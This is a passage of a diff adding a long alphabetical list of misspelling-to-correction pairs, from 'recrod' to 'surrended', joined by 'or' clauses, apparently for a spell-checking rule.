+  wrong = "recrod" and right = "record"
+  or
+  wrong = "recuiting" and right = "recruiting"
+  or
+  wrong = "recuring" and right = "recurring"
+  or
+  wrong = "recurrance" and right = "recurrence"
+  or
+  wrong = "rediculous" and right = "ridiculous"
+  or
+  wrong = "reedeming" and right = "redeeming"
+  or
+  wrong = "reenforced" and right = "reinforced"
+  or
+  wrong = "refect" and right = "reflect"
+  or
+  wrong = "refedendum" and right = "referendum"
+  or
+  wrong = "referal" and right = "referral"
+  or
+  wrong = "referece" and right = "reference"
+  or
+  wrong = "refereces" and right = "references"
+  or
+  wrong = "refered" and right = "referred"
+  or
+  wrong = "referemce" and right = "reference"
+  or
+  wrong = "referemces" and right = "references"
+  or
+  wrong = "referencs" and right = "references"
+  or
+  wrong = "referenece" and right = "reference"
+  or
+  wrong = "refereneced" and right = "referenced"
+  or
+  wrong = "refereneces" and right = "references"
+  or
+  wrong = "referiang" and right = "referring"
+  or
+  wrong = "refering" and right = "referring"
+  or
+  wrong = "refernce" and right = "reference"
+  or
+  wrong = "refernce" and right = "references"
+  or
+  wrong = "refernces" and right = "references"
+  or
+  wrong = "referrence" and right = "reference"
+  or
+  wrong = "referrences" and right = "references"
+  or
+  wrong = "referrs" and right = "refers"
+  or
+  wrong = "reffered" and right = "referred"
+  or
+  wrong = "refference" and right = "reference"
+  or
+  wrong = "reffering" and right = "referring"
+  or
+  wrong = "refrence" and right = "reference"
+  or
+  wrong = "refrences" and right = "references"
+  or
+  wrong = "refrers" and right = "refers"
+  or
+  wrong = "refridgeration" and right = "refrigeration"
+  or
+  wrong = "refridgerator" and right = "refrigerator"
+  or
+  wrong = "refromist" and right = "reformist"
+  or
+  wrong = "refusla" and right = "refusal"
+  or
+  wrong = "regardes" and right = "regards"
+  or
+  wrong = "regluar" and right = "regular"
+  or
+  wrong = "reguarly" and right = "regularly"
+  or
+  wrong = "regulaion" and right = "regulation"
+  or
+  wrong = "regulaotrs" and right = "regulators"
+  or
+  wrong = "regularily" and right = "regularly"
+  or
+  wrong = "rehersal" and right = "rehearsal"
+  or
+  wrong = "reicarnation" and right = "reincarnation"
+  or
+  wrong = "reigining" and right = "reigning"
+  or
+  wrong = "reknown" and right = "renown"
+  or
+  wrong = "reknowned" and right = "renowned"
+  or
+  wrong = "rela" and right = "real"
+  or
+  wrong = "relaly" and right = "really"
+  or
+  wrong = "relatiopnship" and right = "relationship"
+  or
+  wrong = "relativly" and right = "relatively"
+  or
+  wrong = "relected" and right = "reelected"
+  or
+  wrong = "releive" and right = "relieve"
+  or
+  wrong = "releived" and right = "relieved"
+  or
+  wrong = "releiver" and right = "reliever"
+  or
+  wrong = "releses" and right = "releases"
+  or
+  wrong = "relevence" and right = "relevance"
+  or
+  wrong = "relevent" and right = "relevant"
+  or
+  wrong = "reliablity" and right = "reliability"
+  or
+  wrong = "relient" and right = "reliant"
+  or
+  wrong = "religeous" and right = "religious"
+  or
+  wrong = "religous" and right = "religious"
+  or
+  wrong = "religously" and right = "religiously"
+  or
+  wrong = "relinqushment" and right = "relinquishment"
+  or
+  wrong = "relitavely" and right = "relatively"
+  or
+  wrong = "relized" and right = "realised"
+  or
+  wrong = "relized" and right = "realized"
+  or
+  wrong = "relpacement" and right = "replacement"
+  or
+  wrong = "remaing" and right = "remaining"
+  or
+  wrong = "remeber" and right = "remember"
+  or
+  wrong = "rememberable" and right = "memorable"
+  or
+  wrong = "rememberance" and right = "remembrance"
+  or
+  wrong = "remembrence" and right = "remembrance"
+  or
+  wrong = "remenant" and right = "remnant"
+  or
+  wrong = "remenicent" and right = "reminiscent"
+  or
+  wrong = "reminent" and right = "remnant"
+  or
+  wrong = "reminescent" and right = "reminiscent"
+  or
+  wrong = "reminscent" and right = "reminiscent"
+  or
+  wrong = "reminsicent" and right = "reminiscent"
+  or
+  wrong = "rendevous" and right = "rendezvous"
+  or
+  wrong = "rendezous" and right = "rendezvous"
+  or
+  wrong = "renedered" and right = "rende"
+  or
+  wrong = "renewl" and right = "renewal"
+  or
+  wrong = "rennovate" and right = "renovate"
+  or
+  wrong = "rennovated" and right = "renovated"
+  or
+  wrong = "rennovating" and right = "renovating"
+  or
+  wrong = "rennovation" and right = "renovation"
+  or
+  wrong = "rentors" and right = "renters"
+  or
+  wrong = "reoccurrence" and right = "recurrence"
+  or
+  wrong = "reorganision" and right = "reorganisation"
+  or
+  wrong = "repatition" and right = "repartition"
+  or
+  wrong = "repatition" and right = "repetition"
+  or
+  wrong = "repblic" and right = "republic"
+  or
+  wrong = "repblican" and right = "republican"
+  or
+  wrong = "repblicans" and right = "republicans"
+  or
+  wrong = "repblics" and right = "republics"
+  or
+  wrong = "repectively" and right = "respectively"
+  or
+  wrong = "repeition" and right = "repetition"
+  or
+  wrong = "repentence" and right = "repentance"
+  or
+  wrong = "repentent" and right = "repentant"
+  or
+  wrong = "repeteadly" and right = "repeatedly"
+  or
+  wrong = "repetion" and right = "repetition"
+  or
+  wrong = "repid" and right = "rapid"
+  or
+  wrong = "reponse" and right = "response"
+  or
+  wrong = "reponsible" and right = "responsible"
+  or
+  wrong = "reportadly" and right = "reportedly"
+  or
+  wrong = "represantative" and right = "representative"
+  or
+  wrong = "representive" and right = "representative"
+  or
+  wrong = "representives" and right = "representatives"
+  or
+  wrong = "reproducable" and right = "reproducible"
+  or
+  wrong = "reprtoire" and right = "repertoire"
+  or
+  wrong = "repsectively" and right = "respectively"
+  or
+  wrong = "reptition" and right = "repetition"
+  or
+  wrong = "repubic" and right = "republic"
+  or
+  wrong = "repubican" and right = "republican"
+  or
+  wrong = "repubicans" and right = "republicans"
+  or
+  wrong = "repubics" and right = "republics"
+  or
+  wrong = "republi" and right = "republic"
+  or
+  wrong = "republian" and right = "republican"
+  or
+  wrong = "republians" and right = "republicans"
+  or
+  wrong = "republis" and right = "republics"
+  or
+  wrong = "repulic" and right = "republic"
+  or
+  wrong = "repulican" and right = "republican"
+  or
+  wrong = "repulicans" and right = "republicans"
+  or
+  wrong = "repulics" and right = "republics"
+  or
+  wrong = "requirment" and right = "requirement"
+  or
+  wrong = "requred" and right = "required"
+  or
+  wrong = "resaurant" and right = "restaurant"
+  or
+  wrong = "resembelance" and right = "resemblance"
+  or
+  wrong = "resembes" and right = "resembles"
+  or
+  wrong = "resemblence" and right = "resemblance"
+  or
+  wrong = "resevoir" and right = "reservoir"
+  or
+  wrong = "residental" and right = "residential"
+  or
+  wrong = "resignement" and right = "resignment"
+  or
+  wrong = "resistable" and right = "resistible"
+  or
+  wrong = "resistence" and right = "resistance"
+  or
+  wrong = "resistent" and right = "resistant"
+  or
+  wrong = "respectivly" and right = "respectively"
+  or
+  wrong = "responce" and right = "response"
+  or
+  wrong = "responibilities" and right = "responsibilities"
+  or
+  wrong = "responisble" and right = "responsible"
+  or
+  wrong = "responnsibilty" and right = "responsibility"
+  or
+  wrong = "responsability" and right = "responsibility"
+  or
+  wrong = "responsibile" and right = "responsible"
+  or
+  wrong = "responsibilites" and right = "responsibilities"
+  or
+  wrong = "responsiblities" and right = "responsibilities"
+  or
+  wrong = "responsiblity" and right = "responsibility"
+  or
+  wrong = "ressemblance" and right = "resemblance"
+  or
+  wrong = "ressemble" and right = "resemble"
+  or
+  wrong = "ressembled" and right = "resembled"
+  or
+  wrong = "ressemblence" and right = "resemblance"
+  or
+  wrong = "ressembling" and right = "resembling"
+  or
+  wrong = "resssurecting" and right = "resurrecting"
+  or
+  wrong = "ressurect" and right = "resurrect"
+  or
+  wrong = "ressurected" and right = "resurrected"
+  or
+  wrong = "ressurection" and right = "resurrection"
+  or
+  wrong = "ressurrection" and right = "resurrection"
+  or
+  wrong = "restarant" and right = "restaurant"
+  or
+  wrong = "restarants" and right = "restaurants"
+  or
+  wrong = "restaraunt" and right = "restaurant"
+  or
+  wrong = "restaraunteur" and right = "restaurateur"
+  or
+  wrong = "restaraunteurs" and right = "restaurateurs"
+  or
+  wrong = "restaraunts" and right = "restaurants"
+  or
+  wrong = "restauranteurs" and right = "restaurateurs"
+  or
+  wrong = "restauration" and right = "restoration"
+  or
+  wrong = "restauraunt" and right = "restaurant"
+  or
+  wrong = "resteraunt" and right = "restaurant"
+  or
+  wrong = "resteraunts" and right = "restaurants"
+  or
+  wrong = "resticted" and right = "restricted"
+  or
+  wrong = "restraunt" and right = "restaurant"
+  or
+  wrong = "restraunt" and right = "restraint"
+  or
+  wrong = "resturant" and right = "restaurant"
+  or
+  wrong = "resturants" and right = "restaurants"
+  or
+  wrong = "resturaunt" and right = "restaurant"
+  or
+  wrong = "resturaunts" and right = "restaurants"
+  or
+  wrong = "resurecting" and right = "resurrecting"
+  or
+  wrong = "retalitated" and right = "retaliated"
+  or
+  wrong = "retalitation" and right = "retaliation"
+  or
+  wrong = "retreive" and right = "retrieve"
+  or
+  wrong = "retrive" and right = "retrieve"
+  or
+  wrong = "returnd" and right = "returned"
+  or
+  wrong = "revaluated" and right = "reevaluated"
+  or
+  wrong = "reveiw" and right = "review"
+  or
+  wrong = "reveral" and right = "reversal"
+  or
+  wrong = "reversable" and right = "reversible"
+  or
+  wrong = "revolutionar" and right = "revolutionary"
+  or
+  wrong = "rewitten" and right = "rewritten"
+  or
+  wrong = "rewriet" and right = "rewrite"
+  or
+  wrong = "rference" and right = "reference"
+  or
+  wrong = "rferences" and right = "references"
+  or
+  wrong = "rhymme" and right = "rhyme"
+  or
+  wrong = "rhythem" and right = "rhythm"
+  or
+  wrong = "rhythim" and right = "rhythm"
+  or
+  wrong = "rhytmic" and right = "rhythmic"
+  or
+  wrong = "rigeur" and right = "rigor"
+  or
+  wrong = "rigeur" and right = "rigour"
+  or
+  wrong = "rigeur" and right = "rigueur"
+  or
+  wrong = "rigourous" and right = "rigorous"
+  or
+  wrong = "rininging" and right = "ringing"
+  or
+  wrong = "rised" and right = "raised"
+  or
+  wrong = "rised" and right = "rose"
+  or
+  wrong = "rockerfeller" and right = "rockefeller"
+  or
+  wrong = "rococco" and right = "rococo"
+  or
+  wrong = "rocord" and right = "record"
+  or
+  wrong = "roomate" and right = "roommate"
+  or
+  wrong = "rougly" and right = "roughly"
+  or
+  wrong = "rucuperate" and right = "recuperate"
+  or
+  wrong = "rudimentatry" and right = "rudimentary"
+  or
+  wrong = "rulle" and right = "rule"
+  or
+  wrong = "runing" and right = "running"
+  or
+  wrong = "runnung" and right = "running"
+  or
+  wrong = "russina" and right = "russian"
+  or
+  wrong = "russion" and right = "russian"
+  or
+  wrong = "rwite" and right = "write"
+  or
+  wrong = "rythem" and right = "rhythm"
+  or
+  wrong = "rythim" and right = "rhythm"
+  or
+  wrong = "rythm" and right = "rhythm"
+  or
+  wrong = "rythmic" and right = "rhythmic"
+  or
+  wrong = "rythyms" and right = "rhythms"
+  or
+  wrong = "sacrafice" and right = "sacrifice"
+  or
+  wrong = "sacreligious" and right = "sacrilegious"
+  or
+  wrong = "sacremento" and right = "sacramento"
+  or
+  wrong = "sacrifical" and right = "sacrificial"
+  or
+  wrong = "saftey" and right = "safety"
+  or
+  wrong = "safty" and right = "safety"
+  or
+  wrong = "salery" and right = "salary"
+  or
+  wrong = "sanctionning" and right = "sanctioning"
+  or
+  wrong = "sandwhich" and right = "sandwich"
+  or
+  wrong = "sanhedrim" and right = "sanhedrin"
+  or
+  wrong = "santioned" and right = "sanctioned"
+  or
+  wrong = "sargant" and right = "sergeant"
+  or
+  wrong = "sargeant" and right = "sergeant"
+  or
+  wrong = "sasy" and right = "sassy"
+  or
+  wrong = "sasy" and right = "says"
+  or
+  wrong = "satelite" and right = "satellite"
+  or
+  wrong = "satelites" and right = "satellites"
+  or
+  wrong = "saterday" and right = "saturday"
+  or
+  wrong = "saterdays" and right = "saturdays"
+  or
+  wrong = "satisfactority" and right = "satisfactorily"
+  or
+  wrong = "satric" and right = "satiric"
+  or
+  wrong = "satrical" and right = "satirical"
+  or
+  wrong = "satrically" and right = "satirically"
+  or
+  wrong = "sattelite" and right = "satellite"
+  or
+  wrong = "sattelites" and right = "satellites"
+  or
+  wrong = "saught" and right = "sought"
+  or
+  wrong = "saveing" and right = "saving"
+  or
+  wrong = "saxaphone" and right = "saxophone"
+  or
+  wrong = "scaleable" and right = "scalable"
+  or
+  wrong = "scandanavia" and right = "scandinavia"
+  or
+  wrong = "scaricity" and right = "scarcity"
+  or
+  wrong = "scavanged" and right = "scavenged"
+  or
+  wrong = "schedual" and right = "schedule"
+  or
+  wrong = "scholarhip" and right = "scholarship"
+  or
+  wrong = "scholarstic" and right = "scholarly"
+  or
+  wrong = "scholarstic" and right = "scholastic"
+  or
+  wrong = "scientfic" and right = "scientific"
+  or
+  wrong = "scientifc" and right = "scientific"
+  or
+  wrong = "scientis" and right = "scientist"
+  or
+  wrong = "scince" and right = "science"
+  or
+  wrong = "scinece" and right = "science"
+  or
+  wrong = "scirpt" and right = "script"
+  or
+  wrong = "scoll" and right = "scroll"
+  or
+  wrong = "screenwrighter" and right = "screenwriter"
+  or
+  wrong = "scrutinity" and right = "scrutiny"
+  or
+  wrong = "scuptures" and right = "sculptures"
+  or
+  wrong = "seach" and right = "search"
+  or
+  wrong = "seached" and right = "searched"
+  or
+  wrong = "seaches" and right = "searches"
+  or
+  wrong = "secceeded" and right = "seceded"
+  or
+  wrong = "secceeded" and right = "succeeded"
+  or
+  wrong = "seceed" and right = "secede"
+  or
+  wrong = "seceed" and right = "succeed"
+  or
+  wrong = "seceeded" and right = "seceded"
+  or
+  wrong = "seceeded" and right = "succeeded"
+  or
+  wrong = "secratary" and right = "secretary"
+  or
+  wrong = "secretery" and right = "secretary"
+  or
+  wrong = "sedereal" and right = "sidereal"
+  or
+  wrong = "seeked" and right = "sought"
+  or
+  wrong = "segementation" and right = "segmentation"
+  or
+  wrong = "seguoys" and right = "segues"
+  or
+  wrong = "seige" and right = "siege"
+  or
+  wrong = "seing" and right = "seeing"
+  or
+  wrong = "seinor" and right = "senior"
+  or
+  wrong = "seldomly" and right = "seldom"
+  or
+  wrong = "senarios" and right = "scenarios"
+  or
+  wrong = "sence" and right = "sense"
+  or
+  wrong = "sence" and right = "since"
+  or
+  wrong = "senstive" and right = "sensitive"
+  or
+  wrong = "sensure" and right = "censure"
+  or
+  wrong = "seperate" and right = "separate"
+  or
+  wrong = "seperated" and right = "separated"
+  or
+  wrong = "seperately" and right = "separately"
+  or
+  wrong = "seperates" and right = "separates"
+  or
+  wrong = "seperating" and right = "separating"
+  or
+  wrong = "seperation" and right = "separation"
+  or
+  wrong = "seperatism" and right = "separatism"
+  or
+  wrong = "seperatist" and right = "separatist"
+  or
+  wrong = "seperator" and right = "separator"
+  or
+  wrong = "sepina" and right = "subpoena"
+  or
+  wrong = "sepulchure" and right = "sepulcher"
+  or
+  wrong = "sepulchure" and right = "sepulchre"
+  or
+  wrong = "sepulcre" and right = "sepulcher"
+  or
+  wrong = "sepulcre" and right = "sepulchre"
+  or
+  wrong = "sergent" and right = "sergeant"
+  or
+  wrong = "settelement" and right = "settlement"
+  or
+  wrong = "settlment" and right = "settlement"
+  or
+  wrong = "settting" and right = "setting"
+  or
+  wrong = "severeal" and right = "several"
+  or
+  wrong = "severley" and right = "severely"
+  or
+  wrong = "severly" and right = "severely"
+  or
+  wrong = "sevice" and right = "service"
+  or
+  wrong = "shadasloo" and right = "shadaloo"
+  or
+  wrong = "shaddow" and right = "shadow"
+  or
+  wrong = "shadoloo" and right = "shadaloo"
+  or
+  wrong = "shamen" and right = "shaman"
+  or
+  wrong = "shamen" and right = "shamans"
+  or
+  wrong = "sheat" and right = "cheat"
+  or
+  wrong = "sheat" and right = "sheath"
+  or
+  wrong = "sheat" and right = "sheet"
+  or
+  wrong = "sheild" and right = "shield"
+  or
+  wrong = "sherif" and right = "sheriff"
+  or
+  wrong = "shineing" and right = "shining"
+  or
+  wrong = "shiped" and right = "shipped"
+  or
+  wrong = "shiping" and right = "shipping"
+  or
+  wrong = "shopkeeepers" and right = "shopkeepers"
+  or
+  wrong = "shorly" and right = "shortly"
+  or
+  wrong = "shoudl" and right = "should"
+  or
+  wrong = "shoudln" and right = "should"
+  or
+  wrong = "shreak" and right = "shriek"
+  or
+  wrong = "shrinked" and right = "shrunk"
+  or
+  wrong = "sicne" and right = "since"
+  or
+  wrong = "sideral" and right = "sidereal"
+  or
+  wrong = "sieze" and right = "seize"
+  or
+  wrong = "sieze" and right = "size"
+  or
+  wrong = "siezed" and right = "seized"
+  or
+  wrong = "siezed" and right = "sized"
+  or
+  wrong = "siezing" and right = "seizing"
+  or
+  wrong = "siezing" and right = "sizing"
+  or
+  wrong = "siezure" and right = "seizure"
+  or
+  wrong = "siezures" and right = "seizures"
+  or
+  wrong = "siginificant" and right = "significant"
+  or
+  wrong = "signficant" and right = "significant"
+  or
+  wrong = "signficiant" and right = "significant"
+  or
+  wrong = "signfies" and right = "signifies"
+  or
+  wrong = "signifantly" and right = "significantly"
+  or
+  wrong = "significently" and right = "significantly"
+  or
+  wrong = "signifigant" and right = "significant"
+  or
+  wrong = "signifigantly" and right = "significantly"
+  or
+  wrong = "signitories" and right = "signatories"
+  or
+  wrong = "signitory" and right = "signatory"
+  or
+  wrong = "similarily" and right = "similarly"
+  or
+  wrong = "similiar" and right = "similar"
+  or
+  wrong = "similiarity" and right = "similarity"
+  or
+  wrong = "similiarly" and right = "similarly"
+  or
+  wrong = "simmilar" and right = "similar"
+  or
+  wrong = "simpley" and right = "simply"
+  or
+  wrong = "simplier" and right = "simpler"
+  or
+  wrong = "simultanous" and right = "simultaneous"
+  or
+  wrong = "simultanously" and right = "simultaneously"
+  or
+  wrong = "sincerley" and right = "sincerely"
+  or
+  wrong = "singsog" and right = "singsong"
+  or
+  wrong = "sinse" and right = "since"
+  or
+  wrong = "sinse" and right = "sines"
+  or
+  wrong = "sionist" and right = "zionist"
+  or
+  wrong = "sionists" and right = "zionists"
+  or
+  wrong = "sixtin" and right = "sistine"
+  or
+  wrong = "skagerak" and right = "skagerrak"
+  or
+  wrong = "skateing" and right = "skating"
+  or
+  wrong = "slaugterhouses" and right = "slaughterhouses"
+  or
+  wrong = "slighly" and right = "slightly"
+  or
+  wrong = "slippy" and right = "slippery"
+  or
+  wrong = "slowy" and right = "slowly"
+  or
+  wrong = "smae" and right = "same"
+  or
+  wrong = "smealting" and right = "smelting"
+  or
+  wrong = "smoe" and right = "some"
+  or
+  wrong = "sneeks" and right = "sneaks"
+  or
+  wrong = "snese" and right = "sneeze"
+  or
+  wrong = "socalism" and right = "socialism"
+  or
+  wrong = "socities" and right = "societies"
+  or
+  wrong = "soem" and right = "some"
+  or
+  wrong = "sofware" and right = "software"
+  or
+  wrong = "sohw" and right = "show"
+  or
+  wrong = "soilders" and right = "soldiers"
+  or
+  wrong = "solatary" and right = "solitary"
+  or
+  wrong = "soley" and right = "solely"
+  or
+  wrong = "soliders" and right = "soldiers"
+  or
+  wrong = "soliliquy" and right = "soliloquy"
+  or
+  wrong = "soluable" and right = "soluble"
+  or
+  wrong = "somene" and right = "someone"
+  or
+  wrong = "somtimes" and right = "sometimes"
+  or
+  wrong = "somwhere" and right = "somewhere"
+  or
+  wrong = "sophicated" and right = "sophisticated"
+  or
+  wrong = "sophmore" and right = "sophomore"
+  or
+  wrong = "sorceror" and right = "sorcerer"
+  or
+  wrong = "sorrounding" and right = "surrounding"
+  or
+  wrong = "sotry" and right = "story"
+  or
+  wrong = "sotyr" and right = "satyr"
+  or
+  wrong = "sotyr" and right = "story"
+  or
+  wrong = "soudn" and right = "sound"
+  or
+  wrong = "soudns" and right = "sounds"
+  or
+  wrong = "sould" and right = "could"
+  or
+  wrong = "sould" and right = "should"
+  or
+  wrong = "sould" and right = "sold"
+  or
+  wrong = "sould" and right = "soul"
+  or
+  wrong = "sountrack" and right = "soundtrack"
+  or
+  wrong = "sourth" and right = "south"
+  or
+  wrong = "sourthern" and right = "southern"
+  or
+  wrong = "souvenier" and right = "souvenir"
+  or
+  wrong = "souveniers" and right = "souvenirs"
+  or
+  wrong = "soveits" and right = "soviets"
+  or
+  wrong = "sovereignity" and right = "sovereignty"
+  or
+  wrong = "soverign" and right = "sovereign"
+  or
+  wrong = "soverignity" and right = "sovereignty"
+  or
+  wrong = "soverignty" and right = "sovereignty"
+  or
+  wrong = "spainish" and right = "spanish"
+  or
+  wrong = "speach" and right = "speech"
+  or
+  wrong = "specfic" and right = "specific"
+  or
+  wrong = "speciallized" and right = "specialised"
+  or
+  wrong = "speciallized" and right = "specialized"
+  or
+  wrong = "specif" and right = "specific"
+  or
+  wrong = "specif" and right = "specify"
+  or
+  wrong = "specifiying" and right = "specifying"
+  or
+  wrong = "speciman" and right = "specimen"
+  or
+  wrong = "spectauclar" and right = "spectacular"
+  or
+  wrong = "spectaulars" and right = "spectaculars"
+  or
+  wrong = "spects" and right = "aspects"
+  or
+  wrong = "spects" and right = "expects"
+  or
+  wrong = "spectum" and right = "spectrum"
+  or
+  wrong = "speices" and right = "species"
+  or
+  wrong = "spendour" and right = "splendour"
+  or
+  wrong = "spermatozoan" and right = "spermatozoon"
+  or
+  wrong = "spoace" and right = "space"
+  or
+  wrong = "sponser" and right = "sponsor"
+  or
+  wrong = "sponsered" and right = "sponsored"
+  or
+  wrong = "spontanous" and right = "spontaneous"
+  or
+  wrong = "sponzored" and right = "sponsored"
+  or
+  wrong = "spoonfulls" and right = "spoonfuls"
+  or
+  wrong = "sppeches" and right = "speeches"
+  or
+  wrong = "spreaded" and right = "spread"
+  or
+  wrong = "sprech" and right = "speech"
+  or
+  wrong = "spred" and right = "spread"
+  or
+  wrong = "spriritual" and right = "spiritual"
+  or
+  wrong = "spritual" and right = "spiritual"
+  or
+  wrong = "sqaure" and right = "square"
+  or
+  wrong = "sring" and right = "string"
+  or
+  wrong = "stablility" and right = "stability"
+  or
+  wrong = "stainlees" and right = "stainless"
+  or
+  wrong = "staion" and right = "station"
+  or
+  wrong = "standars" and right = "standards"
+  or
+  wrong = "stange" and right = "strange"
+  or
+  wrong = "startegic" and right = "strategic"
+  or
+  wrong = "startegies" and right = "strategies"
+  or
+  wrong = "startegy" and right = "strategy"
+  or
+  wrong = "stateman" and right = "statesman"
+  or
+  wrong = "statememts" and right = "statements"
+  or
+  wrong = "statment" and right = "statement"
+  or
+  wrong = "steriods" and right = "steroids"
+  or
+  wrong = "sterotypes" and right = "stereotypes"
+  or
+  wrong = "stilus" and right = "stylus"
+  or
+  wrong = "stingent" and right = "stringent"
+  or
+  wrong = "stiring" and right = "stirring"
+  or
+  wrong = "stirrs" and right = "stirs"
+  or
+  wrong = "stlye" and right = "style"
+  or
+  wrong = "stomache" and right = "stomach"
+  or
+  wrong = "stong" and right = "strong"
+  or
+  wrong = "stopry" and right = "story"
+  or
+  wrong = "storeis" and right = "stories"
+  or
+  wrong = "storise" and right = "stories"
+  or
+  wrong = "stornegst" and right = "strongest"
+  or
+  wrong = "stoyr" and right = "story"
+  or
+  wrong = "stpo" and right = "stop"
+  or
+  wrong = "stradegies" and right = "strategies"
+  or
+  wrong = "stradegy" and right = "strategy"
+  or
+  wrong = "strat" and right = "start"
+  or
+  wrong = "strat" and right = "strata"
+  or
+  wrong = "stratagically" and right = "strategically"
+  or
+  wrong = "streemlining" and right = "streamlining"
+  or
+  wrong = "stregth" and right = "strength"
+  or
+  wrong = "strenghen" and right = "strengthen"
+  or
+  wrong = "strenghened" and right = "strengthened"
+  or
+  wrong = "strenghening" and right = "strengthening"
+  or
+  wrong = "strenght" and right = "strength"
+  or
+  wrong = "strenghten" and right = "strengthen"
+  or
+  wrong = "strenghtened" and right = "strengthened"
+  or
+  wrong = "strenghtening" and right = "strengthening"
+  or
+  wrong = "strengtened" and right = "strengthened"
+  or
+  wrong = "strenous" and right = "strenuous"
+  or
+  wrong = "strictist" and right = "strictest"
+  or
+  wrong = "strikely" and right = "strikingly"
+  or
+  wrong = "strnad" and right = "strand"
+  or
+  wrong = "stroy" and right = "destroy"
+  or
+  wrong = "stroy" and right = "story"
+  or
+  wrong = "structual" and right = "structural"
+  or
+  wrong = "stubborness" and right = "stubbornness"
+  or
+  wrong = "stucture" and right = "structure"
+  or
+  wrong = "stuctured" and right = "structured"
+  or
+  wrong = "studdy" and right = "study"
+  or
+  wrong = "studing" and right = "studying"
+  or
+  wrong = "stuggling" and right = "struggling"
+  or
+  wrong = "sturcture" and right = "structure"
+  or
+  wrong = "subcatagories" and right = "subcategories"
+  or
+  wrong = "subcatagory" and right = "subcategory"
+  or
+  wrong = "subconsiously" and right = "subconsciously"
+  or
+  wrong = "subjudgation" and right = "subjugation"
+  or
+  wrong = "submachne" and right = "submachine"
+  or
+  wrong = "subpecies" and right = "subspecies"
+  or
+  wrong = "subsidary" and right = "subsidiary"
+  or
+  wrong = "subsiduary" and right = "subsidiary"
+  or
+  wrong = "subsquent" and right = "subsequent"
+  or
+  wrong = "subsquently" and right = "subsequently"
+  or
+  wrong = "substace" and right = "substance"
+  or
+  wrong = "substancial" and right = "substantial"
+  or
+  wrong = "substatial" and right = "substantial"
+  or
+  wrong = "substituded" and right = "substituted"
+  or
+  wrong = "substract" and right = "subtract"
+  or
+  wrong = "substracted" and right = "subtracted"
+  or
+  wrong = "substracting" and right = "subtracting"
+  or
+  wrong = "substraction" and right = "subtraction"
+  or
+  wrong = "substracts" and right = "subtracts"
+  or
+  wrong = "subtances" and right = "substances"
+  or
+  wrong = "subterranian" and right = "subterranean"
+  or
+  wrong = "suburburban" and right = "suburban"
+  or
+  wrong = "succceeded" and right = "succeeded"
+  or
+  wrong = "succcesses" and right = "successes"
+  or
+  wrong = "succedded" and right = "succeeded"
+  or
+  wrong = "succeded" and right = "succeeded"
+  or
+  wrong = "succeds" and right = "succeeds"
+  or
+  wrong = "succesful" and right = "successful"
+  or
+  wrong = "succesfully" and right = "successfully"
+  or
+  wrong = "succesfuly" and right = "successfully"
+  or
+  wrong = "succesion" and right = "succession"
+  or
+  wrong = "succesive" and right = "successive"
+  or
+  wrong = "successfull" and right = "successful"
+  or
+  wrong = "successully" and right = "successfully"
+  or
+  wrong = "succsess" and right = "success"
+  or
+  wrong = "succsessfull" and right = "successful"
+  or
+  wrong = "suceed" and right = "succeed"
+  or
+  wrong = "suceeded" and right = "succeeded"
+  or
+  wrong = "suceeding" and right = "succeeding"
+  or
+  wrong = "suceeds" and right = "succeeds"
+  or
+  wrong = "sucesful" and right = "successful"
+  or
+  wrong = "sucesfully" and right = "successfully"
+  or
+  wrong = "sucesfuly" and right = "successfully"
+  or
+  wrong = "sucesion" and right = "succession"
+  or
+  wrong = "sucess" and right = "success"
+  or
+  wrong = "sucesses" and right = "successes"
+  or
+  wrong = "sucessful" and right = "successful"
+  or
+  wrong = "sucessfull" and right = "successful"
+  or
+  wrong = "sucessfully" and right = "successfully"
+  or
+  wrong = "sucessfuly" and right = "successfully"
+  or
+  wrong = "sucession" and right = "succession"
+  or
+  wrong = "sucessive" and right = "successive"
+  or
+  wrong = "sucessor" and right = "successor"
+  or
+  wrong = "sucessot" and right = "successor"
+  or
+  wrong = "sucide" and right = "suicide"
+  or
+  wrong = "sucidial" and right = "suicidal"
+  or
+  wrong = "sudent" and right = "student"
+  or
+  wrong = "sudents" and right = "students"
+  or
+  wrong = "sufferage" and right = "suffrage"
+  or
+  wrong = "sufferred" and right = "suffered"
+  or
+  wrong = "sufferring" and right = "suffering"
+  or
+  wrong = "sufficent" and right = "sufficient"
+  or
+  wrong = "sufficently" and right = "sufficiently"
+  or
+  wrong = "sumary" and right = "summary"
+  or
+  wrong = "sunglases" and right = "sunglasses"
+  or
+  wrong = "suop" and right = "soup"
+  or
+  wrong = "superceeded" and right = "superseded"
+  or
+  wrong = "superintendant" and right = "superintendent"
+  or
+  wrong = "suphisticated" and right = "sophisticated"
+  or
+  wrong = "suplimented" and right = "supplemented"
+  or
+  wrong = "suported" and right = "supported"
+  or
+  wrong = "supose" and right = "suppose"
+  or
+  wrong = "suposed" and right = "supposed"
+  or
+  wrong = "suposedly" and right = "supposedly"
+  or
+  wrong = "suposes" and right = "supposes"
+  or
+  wrong = "suposing" and right = "supposing"
+  or
+  wrong = "supplamented" and right = "supplemented"
+  or
+  wrong = "suppliementing" and right = "supplementing"
+  or
+  wrong = "suppoed" and right = "supposed"
+  or
+  wrong = "supposingly" and right = "supposedly"
+  or
+  wrong = "suppy" and right = "supply"
+  or
+  wrong = "suprassing" and right = "surpassing"
+  or
+  wrong = "supress" and right = "suppress"
+  or
+  wrong = "supressed" and right = "suppressed"
+  or
+  wrong = "supresses" and right = "suppresses"
+  or
+  wrong = "supressing" and right = "suppressing"
+  or
+  wrong = "suprise" and right = "surprise"
+  or
+  wrong = "suprised" and right = "surprised"
+  or
+  wrong = "suprising" and right = "surprising"
+  or
+  wrong = "suprisingly" and right = "surprisingly"
+  or
+  wrong = "suprize" and right = "surprise"
+  or
+  wrong = "suprized" and right = "surprised"
+  or
+  wrong = "suprizing" and right = "surprising"
+  or
+  wrong = "suprizingly" and right = "surprisingly"
+  or
+  wrong = "surfce" and right = "surface"
+  or
+  wrong = "surley" and right = "surely"
+  or
+  wrong = "surley" and right = "surly"
+  or
+  wrong = "suround" and right = "surround"
+  or
+  wrong = "surounded" and right = "surrounded"
+  or
+  wrong = "surounding" and right = "surrounding"
+  or
+  wrong = "suroundings" and right = "surroundings"
+  or
+  wrong = "surounds" and right = "surrounds"
+  or
+  wrong = "surplanted" and right = "supplanted"
+  or
+  wrong = "surpress" and right = "suppress"
+  or
+  wrong = "surpressed" and right = "suppressed"
+  or
+  wrong = "surprize" and right = "surprise"
+  or
+  wrong = "surprized" and right = "surprised"
+  or
+  wrong = "surprizing" and right = "surprising"
+  or
+  wrong = "surprizingly" and right = "surprisingly"
+  or
+  wrong = "surrended" and right = "surrendered"
+  or
